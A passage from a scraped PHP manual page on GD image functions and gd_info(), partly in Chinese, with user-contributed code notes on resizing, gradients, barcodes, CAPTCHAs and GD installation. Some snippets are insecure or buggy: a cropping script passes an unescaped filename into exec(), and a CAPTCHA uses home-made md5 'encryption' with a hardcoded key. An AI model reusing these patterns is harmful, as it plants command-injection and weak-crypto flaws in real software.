$string = md5(rand(0, microtime()*1000000));
$verify_string = substr($string, 3, 7);
$key = md5(rand(0,999));
$encid = urlencode(md5_encrypt($verify_string, $key));
echo "<img src='1.php?id=$encid&key=$key'><br>";
echo "to verify the user would hve to type in $verify_string";
?>
Lost at LostLord dot com [Morteza Zafari]
08-Nov-2004 12:03
A simple image compare function.
It scans 2 images pixel by pixel, from left to right and from top to bottom, if all pixels have equal colors it will return 'True', otherwise it will return 'False'.

$img1 and $img2 must be of type image. (see usage)
----------------------------------------------
function imagecompare($img1, $img2) {
  if (imagesx($img1)!=imagesx($img2) || imagesy($img1)!=imagesy($img2)){
   return false;
  }
  for( $x=0; $x<imagesx($img1 ); $x++ ){
     for ($y=0; $y<imagesy($img1); $y++) {
         if(imagecolorat($img1,$x,$y)!=imagecolorat($img2,$x,$y)){
                 return false;
         }
     }
  }
  return true;
}

----------------------------------------------
Sample usage:
$im1=imagecreatefromgif("test1.gif");
$im2=imagecreatefromgif("test2.gif");
echo imagecompare(&$im1,&$im2);
andreaskalsch at gmx dot de
01-Nov-2004 04:18
These two are functions to flip an image (in true color)

- vertically:

function image_flip_vertical($im)
{
  $x_i = imagesx($im);
  $y_i = imagesy($im);

  $im_ = imagecreatetruecolor($x_i, $y_i);
  for ($x = 0; $x < $x_i; $x++)
  {
   for ($y = 0; $y < $y_i; $y++)
   {
     imagecopy($im_, $im, $x_i - $x - 1, $y, $x, $y, 1, 1);
   }
  }
  return $im_;
}

- horizontally:

function image_flip_horizontal($im)
{
  $x_i = imagesx($im);
  $y_i = imagesy($im);

  $im_ = imagecreatetruecolor($x_i, $y_i);
  for ($x = 0; $x < $x_i; $x++)
  {
   for ($y = 0; $y < $y_i; $y++)
   {
     imagecopy($im_, $im, $x, $y_i - $y - 1, $x, $y, 1, 1);
   }
  }
  return $im_;
}

I think there is no gd function to do the same.
orenivr at gmail dot com
27-Oct-2004 10:17
// create random image and chack if user insert the sam password

<?php

function get_rnd_iv($iv_len)
{
   $iv = '';
   while ($iv_len-- > 0) {
       $iv .= chr(mt_rand() & 0xff);
   }
   return $iv;
}

function md5_encrypt($plain_text, $password, $iv_len = 16)
{
   $plain_text .= "\x13";
   $n = strlen($plain_text);
   if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16));
   $i = 0;
   $enc_text = get_rnd_iv($iv_len);
   $iv = substr($password ^ $enc_text, 0, 512);
   while ($i < $n) {
       $block = substr($plain_text, $i, 16) ^ pack('H*', md5($iv));
       $enc_text .= $block;
       $iv = substr($block . $iv, 0, 512) ^ $password;
       $i += 16;
   }
   return base64_encode($enc_text);
}

function md5_decrypt($enc_text, $password, $iv_len = 16)
{
   $enc_text = base64_decode($enc_text);
   $n = strlen($enc_text);
   $i = $iv_len;
   $plain_text = '';
   $iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
   while ($i < $n) {
       $block = substr($enc_text, $i, 16);
       $plain_text .= $block ^ pack('H*', md5($iv));
       $iv = substr($block . $iv, 0, 512) ^ $password;
       $i += 16;
   }
   return preg_replace('/\\x13\\x00*$/', '', $plain_text);
}

function genpass($size = 6)
{

   $possible = "0123456789QWERTYUIOPLKJHGFDSAZXCVBNM";
   $string = "";

   while ($i < $size) {

     // pick a random character from the possible ones
     $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);

     // we don't want this character if it's already in the password
     if (!strstr($password, $char)) {
       $password .= $char;
       $i++;
     }

   }
   return $password;

}
function imgsecuregen($password)
{
   $width = 11*6;
   $height = 30;
   $im = ImageCreate($width, $height);
   $bg = imagecolorallocate($im, 200, 42, 255);
   $black = imagecolorallocate($im, 0, 0, 0);
   $grey = imagecolorallocate($im, 90, 170, 220);
   imagerectangle($im,0, 0, $width-1, $height-1, $grey);
   imagestring($im, 5, $size, 5, $password, $black);
   imagejpeg($im,"xx.jpg");
   imagedestroy($im);
}

   $key="HELLO WORLD";

   if ((!$_POST["pasw"])||(!$_POST["valr"]))
   {
       $password = genpass();
       imgsecuregen($password);

       echo session_id();
       $enc_text = md5_encrypt($password, $key);
       echo "<img src='xx.jpg'> <br>
               <FORM  method='POST' target='_self'>
               <INPUT TYPE='HIDDEN'  name='pasw' value='$enc_text'>
               <INPUT TYPE='TEXT'  name='valr'>
               <INPUT TYPE='SUBMIT'  name='submit'>
       </FORM>  ";

       // $random = imgsecuregen(5);  action='secur'
   }
   else
   {      $systemcode =  $_POST["pasw"] ;
           $userinsertcode =  strtolower($_POST["valr"]) ;
           $systemcode = strtolower(md5_decrypt($systemcode, $key));
           $userinsertcode = str_replace("o","0",$userinsertcode);
           $systemcode = str_replace("o","0",$systemcode);
           if ($systemcode == $userinsertcode) print ($systemcode);  else print ("Error in image code ");

   }
?>
phpm at nreynolds dot me dot uk
12-Oct-2004 03:48
A generic image loading function, determines the file format by itself.

<?php

function imagecreatefromfile($filename)
{
   static $image_creators;

   if (!isset($image_creators)) {
       $image_creators = array(
           1  => "imagecreatefromgif",
           2  => "imagecreatefromjpeg",
           3  => "imagecreatefrompng",
           16 => "imagecreatefromxbm"
       );
   }

   $image_size = getimagesize($filename);
   if (is_array($image_size)) {
       $file_type = $image_size[2];
       if (isset($image_creators[$file_type])) {
           $image_creator = $image_creators[$file_type];
           if (function_exists($image_creator)) {
               return $image_creator($filename);
           }
       }
   }

   // "imagecreatefrom...() returns an empty string on failure"
   return "";
}

?>
andreoli dot carlo at libero dot it
31-Aug-2004 06:17
Here my compact gradient function (request few passage):

function imagecolorgradient($img,$x1,$y1,$height,$width,$colA,$colB) {
  $varC1=($colA[1]-$colB[1])/$height;
  $varC2=($colA[2]-$colB[2])/$height;
  $varC3=($colA[3]-$colB[3])/$height;
  for ($i=0;$i<=$height;$i++) {
   $red=$colA[1]-floor($i*$varC1);
   $green=$colA[2]-floor($i*$varC2);
   $blue=$colA[3]-floor($i*$varC3);
   $col= ImageColorAllocate($img,$red,$green,$blue);
   ImageLine($img,$x1,$y1+$i,$x1+$width,$y1+$i,$col);
  }
}

even more compact mode:

function imagecolorgradient($img,$x1,$y1,$height,$width,$colA,$colB) {
  $varC1=($colA[1]-$colB[1])/$height;
  $varC2=($colA[2]-$colB[2])/$height;
  $varC3=($colA[3]-$colB[3])/$height;
  for ($i=0;$i<=$height;$i++) {
   $col=ImageColorAllocate($img,
               $colA[1]-floor($i*$varC1),
               $colA[2]-floor($i*$varC2),
               $colA[3]-floor($i*$varC3));
   ImageLine($img,$x1,$y1+$i,$x1+$width,$y1+$i,$col);
  }
}

$img ist the image handle,
$x1 and $y1 are the start points,
$height is the gradient height, $width the width,
$colA and $colB are the first and second color ARRAYs.
Henrik Nyh
23-Aug-2004 03:05
I modified the gradient rectangle function by info [@] solanki [d o t] ch, to use hexadecimal colours instead of arrays.

The hex-to-RGB code was taken from a comment by "tim at phantomrpg dot com" at http://se.php.net/manual/sv/function.imagecolorallocate.php

<?php

function imagecolorgradient($img,$x1,$y1,$x2,$y2,$f_c,$s_c){

   sscanf($f_c, "%2x%2x%2x", $red, $green, $blue);
   $f_c = array($red,$green,$blue);

   sscanf($s_c, "%2x%2x%2x", $red, $green, $blue);
   $s_c = array($red,$green,$blue);

   if($y2>$y1) $y=$y2-$y1;
   else $y=$y1-$y2;

   if($f_c[0]>$s_c[0]) $r_range=$f_c[0]-$s_c[0];
   else $r_range=$s_c[0]-$f_c[0];
   if($f_c[1]>$s_c[1]) $g_range=$f_c[1]-$s_c[1];
   else $g_range=$s_c[1]-$f_c[1];
   if($f_c[2]>$s_c[2]) $b_range=$f_c[2]-$s_c[2];
   else $b_range=$s_c[2]-$f_c[2];
   $r_px=$r_range/$y;
   $g_px=$g_range/$y;
   $b_px=$b_range/$y;
   $r=$f_c[0];
   $g=$f_c[1];
   $b=$f_c[2];

   for($i=0;$i<=$y;$i++){
       $col=imagecolorallocate($img,round($r),round($g),round($b));
       imageline($img,$x1,$y1+$i,$x2,$y1+$i,$col);
       if($f_c[0]<$s_c[0]) $r+=$r_px;
       else $r-=$r_px;
       if($f_c[1]<$s_c[1]) $g+=$g_px;
       else $g-=$g_px;
       if($f_c[2]<$s_c[2]) $b+=$b_px;
       else $b-=$b_px;
   }
   return $img;
}

?>

Usage example:

<?php

// Create a rectangle from 0,0 to 50,50 in $image, with a (vertical) gradient from #000000 to #FFFFFF.
imagecolorgradient($image,0,0,50,50,'000000','FFFFFF');

?>
Caleb Simonyi-Gindele
01-Jul-2004 10:02
What a pain! finally got GD/PHP working 100%. I was not getting jpeg support.

What I ended up doing was installing the jpeg-v6b library with the --enable-shared on the ./configure prompt. Then over to php folder and did a configure as follows:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --enable-exif --with-gd --with-jpeg --with-jpeg-dir=/usr/local/lib --with-tiff-dir=/usr/lib --with-png-dir=/usr/lib --with-pgsql=/usr/local/pgsql --enable-track-vars --with-xml --with-zlib-dir=/usr/local/lib

then make clean
then make
then make install
restart my Apache service. FYI, I'm on RH 7, php 4.3.7 and apache 2.0.49

Hope that helps somebody cause it took me all afternoon to get jpeg support!
Bren
22-Jun-2004 12:00
Sometimes getting GD to work may require that you look at the makefile after running ./configure.

If you are attempting to configure php with  --with-jpeg-dir=!location! or with-png-dir=!location! I've found that the configure script (under some unix builds) doesn't output the correct makefile as it doesn't place the actual location in and thus you get "libjpeg.h - no such file or directory"

you can check that though by opening the makefile in your fav. editor and ensure lines like:

GDLIB_CFLAGS = -I/<phpsourcedir>/ext/gd/libgd -DHAVE_LIBPNG -DHAVE_LIBJPEG

read as

GDLIB_CFLAGS = -I/<phpsourcedir>/ext/gd/libgd -DHAVE_LIBPNG -DHAVE_LIBJPEG -I/<jpegsourcedir>/jpeg-6b

where <jpegsourcedir> and <phpsourcedir> are your equivilent directories.

running make will then find the libraries it needs and you should be running.
purplebz at hotmail dot com
12-Apr-2004 01:47
Installing GD extension on Windows:

First you need to download PHP 4.3.x zip package not the PHP 4.3.x installer! PHP 4.3.x zip package has extensions included already.

Follow the instructions on installing PHP at install.text.

If PHP is already working, you may now activate the GD by doing the following:

1. Uncomment the - extension_dir="". Then you should point it to where the extensions folder is located. Extensions folder is extracted from PHP zip file you downloaded.
Example: extension_dir = C:/PHP/extensions

2. Uncomment the following by removing the semicolon -
Example: extension=php_gd2.dll

3. Test if GD extension is already loaded by executing the following lines:
<?php
var_dump(gd_info());
?>

Hope this helps!
info [@] solanki [d o t] ch
15-Feb-2004 01:43
A quite important function missing in the gdlib ist the color gradient.
After trying a bit I got one that works quite good.
So if anybody needs it:

<?php
function imagecolorgradient($img,$x1,$y1,$x2,$y2,$f_c,$s_c){
   if($y2>$y1) $y=$y2-$y1;
   else $y=$y1-$y2;
   if($f_c[0]>$s_c[0]) $r_range=$f_c[0]-$s_c[0];
   else $r_range=$s_c[0]-$f_c[0];
   if($f_c[1]>$s_c[1]) $g_range=$f_c[1]-$s_c[1];
   else $g_range=$s_c[1]-$f_c[1];
   if($f_c[2]>$s_c[2]) $b_range=$f_c[2]-$s_c[2];
   else $b_range=$s_c[2]-$f_c[2];
   $r_px=$r_range/$y;
   $g_px=$g_range/$y;
   $b_px=$b_range/$y;
   $r=$f_c[0];
   $g=$f_c[1];
   $b=$f_c[2];
   for($i=0;$i<=$y;$i++){
       $col=imagecolorallocate($img,round($r),round($g),round($b));
       imageline($img,$x1,$y1+$i,$x2,$y1+$i,$col);
       if($f_c[0]<$s_c[0]) $r+=$r_px;
       else $r-=$r_px;
       if($f_c[1]<$s_c[1]) $g+=$g_px;
       else $g-=$g_px;
       if($f_c[2]<$s_c[2]) $b+=$b_px;
       else $b-=$b_px;
   }
   return $img;
}
?>

$img ist the image handle, $x1 and $y1 are the start points, $x2 and $y2 the ending points.
$f_c and $s_c are the first and second color ARRAYs.
jeff at lushmedia dot com
05-Nov-2003 12:52
I wrote an online overview of the image functions that people might find useful. In addition to a general overview of the various function categories and code samples, I have included many interactive examples of the functions, allowing viewers to experiment with the parameters, and seeing the results in real time. The presentation is located at New York PHP
http://www.nyphp.org/content/presentations/GDintro/
pigmeu at pigmeu dot net
03-Sep-2003 03:09
I had some troubles when trying to resize an image gotten from a database blob field... Perhaps that these image functions don't work with opened image streams...

So, I had to make this workaround...

Use this code if you are trying to handle imagens from a database.

//...
   // creating a temp image name
   $t_img_name = tempnam ("/tmp", "timg");
   $t_img = fopen($t_img_name, "w");

   // $content is the blob field with the image.
   fwrite($t_img, $content);

   fclose($t_img);

   // now, do what want to with the image
   $size = getimagesize($t_img_name);
   echo $size[0]." - ".$size[1];

   // don't forget to delete the temp file after all.
   unlink($t_img_name);
//...
office at 4point-webdesign dot com
07-Jul-2003 05:29
Here's a funtion i used to resize and save images uploaded by the user, you can either create thumbnails or other images.
Main "feature" is that the width and height stay relativ to each other.

imgcomp is the quality, i turned it around so now its from 0 -best to 100 -most compressed.

For gif version just change the functions names.

function resampimagejpg($forcedwidth, $forcedheight, $sourcefile, $destfile, $imgcomp)
   {
   $g_imgcomp=100-$imgcomp;
   $g_srcfile=$sourcefile;
   $g_dstfile=$destfile;
   $g_fw=$forcedwidth;
   $g_fh=$forcedheight;

   if(file_exists($g_srcfile))
       {
       $g_is=getimagesize($g_srcfile);
       if(($g_is[0]-$g_fw)>=($g_is[1]-$g_fh))
           {
           $g_iw=$g_fw;
           $g_ih=($g_fw/$g_is[0])*$g_is[1];
           }
           else
           {
           $g_ih=$g_fh;
           $g_iw=($g_ih/$g_is[1])*$g_is[0];
           }
       $img_src=imagecreatefromjpeg($g_srcfile);
       $img_dst=imagecreate($g_iw,$g_ih);
       imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);
       imagejpeg($img_dst, $g_dstfile, $g_imgcomp);
       imagedestroy($img_dst);
       return true;
       }
       else
       return false;
   }
sellout at NoSpAm dot dharmadevil dot com
17-Apr-2003 01:06
A fun little function to output UPC-A 11-digit barcodes.
Thanks to barcodeisland.com for the specs.

<?php

function UPCAbarcode($code) {
  $lw = 2; $hi = 100;
  $Lencode = array('0001101','0011001','0010011','0111101','0100011',
                   '0110001','0101111','0111011','0110111','0001011');
  $Rencode = array('1110010','1100110','1101100','1000010','1011100',
                   '1001110','1010000','1000100','1001000','1110100');
  $ends = '101'; $center = '01010';
  /* UPC-A Must be 11 digits, we compute the checksum. */
  if ( strlen($code) != 11 ) { die("UPC-A Must be 11 digits."); }
  /* Compute the EAN-13 Checksum digit */
  $ncode = '0'.$code;
  $even = 0; $odd = 0;
  for ($x=0;$x<12;$x++) {
   if ($x % 2) { $odd += $ncode[$x]; } else { $even += $ncode[$x]; }
  }
  $code.=(10 - (($odd * 3 + $even) % 10)) % 10;
  /* Create the bar encoding using a binary string */
  $bars=$ends;
  $bars.=$Lencode[$code[0]];
  for($x=1;$x<6;$x++) {
   $bars.=$Lencode[$code[$x]];
  }
  $bars.=$center;
  for($x=6;$x<12;$x++) {
   $bars.=$Rencode[$code[$x]];
  }
  $bars.=$ends;
  /* Generate the Barcode Image */
  $img = ImageCreate($lw*95+30,$hi+30);
  $fg = ImageColorAllocate($img, 0, 0, 0);
  $bg = ImageColorAllocate($img, 255, 255, 255);
  ImageFilledRectangle($img, 0, 0, $lw*95+30, $hi+30, $bg);
  $shift=10;
  for ($x=0;$x<strlen($bars);$x++) {
   if (($x<10) || ($x>=45 && $x<50) || ($x >=85)) { $sh=10; } else { $sh=0; }
   if ($bars[$x] == '1') { $color = $fg; } else { $color = $bg; }
   ImageFilledRectangle($img, ($x*$lw)+15,5,($x+1)*$lw+14,$hi+5+$sh,$color);
  }
  /* Add the Human Readable Label */
  ImageString($img,4,5,$hi-5,$code[0],$fg);
  for ($x=0;$x<5;$x++) {
   ImageString($img,5,$lw*(13+$x*6)+15,$hi+5,$code[$x+1],$fg);
   ImageString($img,5,$lw*(53+$x*6)+15,$hi+5,$code[$x+6],$fg);
  }
  ImageString($img,4,$lw*95+17,$hi-5,$code[11],$fg);
  /* Output the Header and Content. */
  header("Content-Type: image/png");
  ImagePNG($img);
}

UPCAbarcode('12345678901');

?>
Angus Chung a swinburnemultimediastudent
03-Apr-2003 02:40
this code work faster in my p4 2G machine PHP Version 4.3.1 imageresampled() gives better quality however much slower when work on high resolution image , e.g. the DC photo.therefore i first use imageresized() to produce a middle size temp image, then imageresampled() the temp image to a smaller thumbnail and output to the browser

<?php
$t_w = 444;  // temp image width x 3
$t_h = 333;  // temp image height x 3

     ................
     // get and create intermediate image
     ................
     imagecopyresized ($destimage,$srcimage,0,0,0,0,$t_w,$t_h,$width,$height);

     // process of the output thumbnail
     $t_w2 = round($t_w/3); //148
     $t_h2 = round($t_h/3); //111
     $destimage2 = imagecreatetruecolor($t_w2,$t_h2); // for output
     imagecopyresampled ($destimage2,$destimage,0,0,0,0,$t_w2,$t_h2,$t_w,$t_h);
     imagedestroy($destimage);
     imageinterlace ($destimage2,1);//progressive jpeg
     imagejpeg($destimage2, '', 45);
     imagedestroy($destimage2);
     .................
?>
RJ-Gerry at wiu dot edu
08-Mar-2003 04:00
I have successfully installed GD and FreeType 2 with PHP 4.3.0 on my OS X 10.2.4 (Jaguar) machine.  Using fink http://fink.sourceforge.net which comes with dselect (a menu  based apt-get), I was able to download and install both GD and FreeType 2 without having to compile either one of them.  I was then able to add them into PHP by using this configure command (and then make and make install of course):

./configure --with-mysql --with-apxs --with-gd=/sw --with-freetype-dir=/sw --with-ttf

The directories for gd and freetype were both /sw because that is where fink installs its software.  I also added the -with-ttf to make sure that True Type Fonts were supported.  Hope this helps any OS X users!
khyri at idyllmtn dot com
06-Mar-2003 03:00
To save others the hours I spent, I'd like to point out the
following:

Even if you are using the built-in GD libraries for 4.3.0 and
above, you still need to download and install jpeg-6b, libpng
and zlib before you can manipulate anything except read-only
gifs. These libraries are NOT bundled.

And they need to be installed as shared, not static libraries.
The default installation for jpeg-6b will only make a static
library (do ./configure --enabled-shared) and the selection
of makefile for libpng will determine whether you end up with
a shared or static library.
cysoft at php dot net
06-Mar-2003 12:32
How to using GD out put  chinese Characters (BIG 5 or GB2312).
the following code shows you how to using gd display chinese Characters.
there is a funcation called by ImageTTFText.
since gd dose not support GB2312/big5 but unicode.if you can convert
Characters to unicode which you want display then every thing will be done!
your 's yan
<?php
function gb23122uni($text) {
       $rtext="";
       $max=strlen($text);
       for($i=0;$i<$max;$i++){
         $h=ord($text[$i]);
         if($h>=160 && $i<$max-1){
           $rtext.="&#".base_convert(bin2hex(iconv("gb2312","ucs-2",
             substr($text,$i,2))),16,10).";";
           $i++;
         }else{
           $rtext.=$text[$i];
         }
       }
       return $rtext;
 }
Header("Content-type: image/gif");
$im = imagecreate(400,50);
$black = ImageColorAllocate($im, 0,255,0);
$white = ImageColorAllocate($im, 255,0,255);

ImageTTFText($im, 20, 0, 30, 30, $white, "c:\php\STCAIYUN.ttf",gb23122uni("
")."test");
Imagejpeg($im);
ImageDestroy($im);
?>
sir_hmba at NOSPAMyahoo dot com
17-Jan-2003 02:13
The GD library, prior to 2.x, does not appear to process images with more than 256 colors without first converting them to a 256 color indexed (palette) image.

In other words, if you have a truecolor JPEG or PNG and you load the image up with these functions (e.g., imagecreatefrompng()) then the internal resource will be a palettized version of your original.  The only information I found about this were in a few separate comments spread around this section.

If you compile PHP with a 2.0 or higher version of the GD library, then the internal image resource will not be subjected to this automatic conversion.  I believe that all the RedHat PHP RPMs (as of today) still come compiled with the older version of GD (pre 2.0).
webmaster at wutallan dot net
14-Dec-2002 03:47
Installing PHP with GD2 support on a system running Debian Woody is quite easy. You just need to install the deb packages of the libs, including the -dev packages. Do this with one apt-get command:

apt-get install libgd2 libgd2-dev libjpeg62 libjpeg62-dev libpng2 libpng2-dev libfreetype6 libfreetype6-dev

(libpng depends on zlib, so it will automatically be installed)
Having those libs installed, add this to your PHP configure command:

--with-gd --with-jpeg-dir=/usr/lib --with-png-dir=/usr/lib --with-freetype-dir=/usr/lib --with-zlib-dir=/usr/lib
stefan dot wehowsky at profilschmiede dot de
02-Feb-2002 07:57
If you ever want to resize a picture (maybe in order to create a thumbnail), this small function
should help you. It also gives you an idea of how some of the basic image functions of PHP can be
used.

/* resizeToFile resizes a picture and writes it to the harddisk
 *
 * $sourcefile = the filename of the picture that is going to be resized
 * $dest_x      = X-Size of the target picture in pixels
 * $dest_y      = Y-Size of the target picture in pixels
 * $targetfile = The name under which the resized picture will be stored
 * $jpegqual  = The Compression-Rate that is to be used
 */

function resizeToFile ($sourcefile, $dest_x, $dest_y, $targetfile, $jpegqual)
{

/* Get the dimensions of the source picture */
   $picsize=getimagesize("$sourcefile");

   $source_x  = $picsize[0];
   $source_y  = $picsize[1];
   $source_id = imageCreateFromJPEG("$sourcefile");

/* Create a new image object (not neccessarily true colour) */

   $target_id=imagecreatetruecolor($dest_x, $dest_y);

/* Resize the original picture and copy it into the just created image
   object. Because of the lack of space I had to wrap the parameters to
   several lines. I recommend putting them in one line in order keep your
   code clean and readable */

   $target_pic=imagecopyresampled($target_id,$source_id,
                                   0,0,0,0,
                                   $dest_x,$dest_y,
                                   $source_x,$source_y);

/* Create a jpeg with the quality of "$jpegqual" out of the
   image object "$target_pic".
   This will be saved as $targetfile */

   imagejpeg ($target_id,"$targetfile",$jpegqual);

   return true;

}
npdavis at hotmail dot com
25-May-2001 01:45
I build menus using image functions. I noticed that even if you preload the images, some do not always load. In addition the image generation puts a load on the server... the answer? Cache Control headers. These headers will cause IE and Netscape to load all images correctly and also force the proxys and web caches to cache them, allowing your pages to render correctly, AND save you lots of cycles: ) These headers tell both the browser and the ISP caches/proxys to cache the images.

Here is the code:

Header ("Last-Modified: " . gmdate("D, d M Y H:i:s",mktime (0,0,0,1,1,2000)) . " GMT");  // Date in the past
Header ("Expires: Mon, 26 Jul 2040 05:00:00 GMT");    // In other words... never expire the image
Header ("Cache-Control: max-age=10000000, s-maxage=1000000, proxy-revalidate, must-revalidate");//Cache-Control header is ESSENTIAL for forcing Netscape to load all images!... and telling the ISP caches to do the same in this case cache for 1 million seconds.

These headers may or may not be redundant... any input is welcome.

In addition, it is essential for proxys and ISP caches that your re-used images have the same url... IE create a generic image creation script, and feed it parameters. This way your
http://yoursite/imagegen.php?text=home&h=40&w=150&fontsize=13 Home link image has the same url on all of your pages... This will make your images more proxy/cacheserver cache AND browser cache friendly.

thx,
Neil
07-Mar-2001 03:29
When using ImageGif( $im ) it sends the output directly to the browser. to prevent this from happening and also to be able to save your new image to a database for example use ob_start(), ob_get_contents(), and ob_end_clean() <BR><BR>ex:<BR> <?php <BR>function ResizeGif( $image, $newWidth, $newHeight){

   //Open the gif file to resize
   $srcImage = ImageCreateFromGif( $image );

   //obtain the original image Height and Width
   $srcWidth  = ImageSX( $srcImage );
   $srcHeight = ImageSY( $srcImage );

   // the follwing portion of code checks to see if
   // the width > height or if width < height
   // if so it adjust accordingly to make sure the image
   // stays smaller then the $newWidth and $newHeight

   if( $srcWidth < $srcHeight ){

       $destWidth  = $newWidth * $srcWidth/$srcHeight;
       $destHeight = $newHeight;
   }else{

       $destWidth  = $newWidth;
       $destHeight = $newHeight * $srcHeight/$srcWidth;
   }

   // creating the destination image with the new Width and Height
   $destImage = imagecreate( $destWidth, $destHeight);

   //copy the srcImage to the destImage
   ImageCopyResized( $destImage, $srcImage, 0, 0, 0, 0, $destWidth, $destHeight, $srcWidth, $srcHeight );

   //create the gif
   ImageGif( $destImage );

   //fre the memory used for the images
   ImageDestroy( $srcImage  );
   ImageDestroy( $destImage );

}

       //save output to a buffer
       ob_start();

       //Resize image  ( will be stored in the buffer )
       ResizeGif( "/where/image/is/image.gif", "150", "150");

       //copy output buffer to string
       $resizedImage = ob_get_contents();

       //clear output buffer that was saved
       ob_end_clean();

add a note add a note

后退 | 起点 | 前进
iis_stop_service | 上一级 | gd_info


gd_info

(PHP 4 >= 4.3.0, PHP 5)

gd_info -- 取得当前安装的 GD 库的信息

说明

array gd_info ( void )

返回一个关联数组描述了安装的 GD 库的版本和性能。

表格 1. gd_info() 返回的数组的单元

属性 | 含义
GD Version | string 值描述了安装的 libgd 的版本。
Freetype Support | boolean 值。如果安装了 Freetype 支持则为 TRUE。
Freetype Linkage | string 值描述了 Freetype 连接的方法。取值可能为：'with freetype', 'with TTF library' 和 'with unknown library'。本单元仅在 Freetype Support 的值为 TRUE 时有定义。
T1Lib Support | boolean 值。如果包含有 T1Lib 支持则为 TRUE。
GIF Read Support | boolean 值。如果包含有读取 GIF 图像的支持则为 TRUE。
GIF Create Support | boolean 值。如果包含有创建 GIF 图像的支持则为 TRUE。
JPG Support | boolean 值。如果包含有 JPG 支持则为 TRUE。
PNG Support | boolean 值。如果包含有 PNG 支持则为 TRUE。
WBMP Support | boolean 值。如果包含有 WBMP 支持则为 TRUE。
XBM Support | boolean 值。如果包含有 XBM 支持则为 TRUE。

例子 1. 使用 gd_info()

<?php
var_dump(gd_info());
?>

典型输出为：

array(9) {
  ["GD Version"]=>
  string(24) "bundled (2.0 compatible)"
  ["FreeType Support"]=>
  bool(false)
  ["T1Lib Support"]=>
  bool(false)
  ["GIF Read Support"]=>
  bool(true)
  ["GIF Create Support"]=>
  bool(false)
  ["JPG Support"]=>
  bool(false)
  ["PNG Support"]=>
  bool(true)
  ["WBMP Support"]=>
  bool(true)
  ["XBM Support"]=>
  bool(false)
}

参见 imagepng()，imagejpeg()，imagegif()，imagewbmp() 和 imagetypes()。

add a note add a note User Contributed Notes
Michael Z
29-Sep-2005 03:40
An easy way to get the numeric value for the GD Version :
$Version = ereg_replace('[[:alpha:][:space:]()]+', '', $GDArray['GD Version']);
Hagan Fox
03-May-2005 07:35
This function safely determines the GD version, even on PHP versions earlier than 4.3 that lack the gd_info() function.  Use it to avoid having your script halt with a fatal error if you try to use a TrueColor function and the GD version isn't 2.0 or later.

You can optionally specify a version, but if you specify version 2 it might be overridden.  Once the version number is determined it's retained to speed future calls.

<?php
/**
* Get which version of GD is installed, if any.
*
* Returns the version (1 or 2) of the GD extension.
*/
function gdVersion($user_ver = 0)
{
   if (! extension_loaded('gd')) { return; }
   static $gd_ver = 0;
   // Just accept the specified setting if it's 1.
   if ($user_ver == 1) { $gd_ver = 1; return 1; }
   // Use the static variable if function was called previously.
   if ($user_ver !=2 && $gd_ver > 0 ) { return $gd_ver; }
   // Use the gd_info() function if possible.
   if (function_exists('gd_info')) {
       $ver_info = gd_info();
       preg_match('/\d/', $ver_info['GD Version'], $match);
       $gd_ver = $match[0];
       return $match[0];
   }
   // If phpinfo() is disabled use a specified / fail-safe choice...
   if (preg_match('/phpinfo/', ini_get('disable_functions'))) {
       if ($user_ver == 2) {
           $gd_ver = 2;
           return 2;
       } else {
           $gd_ver = 1;
           return 1;
       }
   }
   // ...otherwise use phpinfo().
   ob_start();
   phpinfo(8);
   $info = ob_get_contents();
   ob_end_clean();
   $info = stristr($info, 'gd version');
   preg_match('/\d/', $info, $match);
   $gd_ver = $match[0];
   return $match[0];
} // End gdVersion()

// Usage:

if ($gdv = gdVersion()) {
   if ($gdv >=2) {
       echo 'TrueColor functions may be used.';
   } else {
       echo 'GD version is 1.  Avoid the TrueColor functions.';
   }
} else {
   echo "The GD extension isn't loaded.";
}
?>

The function only detects the GD version, but you could determine GD capabilities in a similar manner.
phpnet at furp dot com
09-Dec-2004 02:59
I updated the function below to include the GD Version info and any other string fields. The function only showed the bool values before.

// Retrieve information about the currently installed GD library
function describeGDdyn() {
  echo "\n<ul><li>GD support: ";
  if(function_exists("gd_info")){
   echo "<font color=\"#00ff00\">yes</font>";
   $info = gd_info();
   $keys = array_keys($info);
   for($i=0; $i<count($keys); $i++) {
       if(is_bool($info[$keys[$i]])) echo "</li>\n<li>" . $keys[$i] .": " . yesNo($info[$keys[$i]]);
       else echo "</li>\n<li>" . $keys[$i] .": " . $info[$keys[$i]];
   }
  } else { echo "<font color=\"#ff0000\">no</font>"; }
  echo "</li></ul>";
}

function yesNo($bool){
  if($bool) return "<font color=\"#00ff00\"> yes</font>";
  else return "<font color=\"#ff0000\"> no</font>";
}
yohami dot com - zerodj at hotmail dot com
14-Jan-2004 11:09
A cool resize / cropping script for creating thumbnails using mogrify

IMAGETEST.PHP

<?php

include 'mogrify.php';

// variables from flash (my website uses flash and php)
$picture="sample.jpg";
$fixedwidth=300;
$fixedheight=240;
//

cropimage($picture,$fixedwidth,$fixedheight,$mogrify);

 ?>

MOGRIFY.PHP

<?php
// walking the path
$mogrify="C:/apache/Imagik/mogrify.exe";

// ---------------------------------------- crop function

function cropimage($picture,$fixedwidth,$fixedheight,$mogrify) {

   // GET IMG
   $img = imagecreatefromjpeg($picture);
   $width= imagesx($img);
   $height= imagesy($img);
   // CROP WIDTH
   if($width!=$fixedwidth){
       $ratio =$fixedwidth/$width;
       $NewHeight=round($height*$ratio);
       $NewWidth=round($width*$ratio);
       exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
       exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
       // REFRESH
       $img = imagecreatefromjpeg($picture);
       $width= imagesx($img);
       $height= imagesy($img);
   }
   // CROP HEIGHT
   if($height!=$fixedheight){
       $ratio =$fixedheight/$height;
       $NewHeight=round($height*$ratio);
       $NewWidth=round($width*$ratio);
       exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
       exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
   }
   //
   ImageDestroy($img);
}

?>

yeah!
Elie De Brauwer <elie at de-brauwer dot be>
28-Aug-2003 11:40
Since I noted that gd_info() returned on my system more info than the manual said (11 fields instead of 9, the extra fields are FreeType Linkage Support and JIS-mapped Japanese Font Support), I wrote these two little functions that dump the information returend by gd_info() in a dynamical and colored way.

<?
function describeGDdyn(){
  echo "<ul>";
